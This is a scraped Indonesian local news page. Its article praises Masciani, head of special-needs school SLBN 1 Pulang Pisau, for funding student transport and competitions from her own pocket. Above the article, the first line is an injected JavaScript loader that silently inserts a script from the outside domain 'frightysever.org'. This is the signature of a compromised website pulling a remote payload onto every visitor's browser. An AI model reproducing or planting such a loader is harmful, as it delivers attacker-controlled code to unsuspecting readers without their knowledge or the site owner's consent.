(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Pulang Pisau

Ketua Komite SLBN 1 Pulpis “Masciani Banyak Keluar Uang Pribadi”


PULANG PISAU, Perjuangan Masciani membawa Sekolah Luar Biasa Negeri (SLBN) 1 Pulang Pisau banyak menoreh prestasi hingga sekarang bukannya pekerjaan mudah. Di ungkapkan Sumadi, Ketua Komite SLBN 1 Pulang Pisau periode 2015-2017 mengakui, kepala sekolah wanita pindahan SLB Kapuas tersebut banyak berkorban untuk membesarkan sekolah.

“Saya kenal beliau, ibu Masciani sangat gigih  dalam mengelola SLB. Terutama dalam melakukan pengusulan agar anak-anak bisa mendapat pendidikan yang bagus. Seperti rela menjadikan mobil Isuzu Panther milik beliau sebagai angkutan sekolah. Padahal mobil itu belinya nyicil waktu itu, berkat mobil tersebut setiap harinya sekitar 27 murid SLB bisa diantar jemput,” ungkap Sumadi.

Dari beberapa usulan yang disampaikan sekolah, mulai dari minta dibuatkan taman bermain, penambahan ruangan hingga meminta angkutan untuk antar jemput. Disampaikan Sumadi jika usulan angkutan yang sepertinya bakal dibantu Pemkab tahun 2019 mendatang.

“Sudah kita usulkan, ada respon baik. Mudah-mudahan tahun depan SLBN 1 Pulpis sudah punya angkutan umum, sehingga anak-anak bisa semakin banyak yang bersekolah,” tutur Sumadi.

Terpisah, Saiful Junaidi, warga Mantaren II yang anaknya mengenyam pendidikan di SLBN 1 asuhan Masciani ikut memuji kegigihan sang kepala sekolah. Ia mengaku awalnya sempat ragu menyekolahkan sang anak karena ada keterbatasan yakni tuna grahita. Namun sang kepala sekolah terus menyakinkan dirinya tentang pentingnya pendidikan bagi anak.

“Saya ingat sekali saat itu, tidak ada yang mengantar, kami orang tua sibuk bekerja. Namun beliau gigih membujuk dan terus datang ke rumah, bahkan anak saya sekolah itu pulang pergi dijemput mereka.  Beberapa tahun sekolah di SLB, anak saya beberapa kali sudah ikut lomba keluar daerah dan itu dibiayai dengan dana pribadi beliau. Anak saya pun diajarkan membuat  anyaman yang hasilnya bisa dijual. Banyak sekaki jasa ibu kepala sekolah Masciani itu,” tuturnya (sjy)

Reporter:sjy
Editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Hari Museum Internasional 2024 “Museum untuk Pendidikan dan Penelitian”

KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More

5 jam ago

Masrumi dari Desa Sungai Namang HSU Raih Prestasi Nasional

KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More

6 jam ago

Pemkab HSU Gelar Upacara HUT ke-75 Proklamasi ALRI Divisi IV Kalimantan

KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More

6 jam ago

Mantan Karyawan BPR Candi Agung Amuntai Dituntut 7 Tahun

Selewengkan Dana Nasabah, Rugikan Negara Rp779 Juta Read More

6 jam ago

Ungkap Kasus Curanmor di Banjarbaru, 4 Unit Motor Berplat Merah

7 Pelaku Ditangkap dengan Barbuk 21 Unit Sepeda Motor Read More

11 jam ago

Kontestan Kepala Daerah di Kalsel Ditantang Miliki Visi Majukan Perpustakaan

KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More

12 jam ago

This website uses cookies.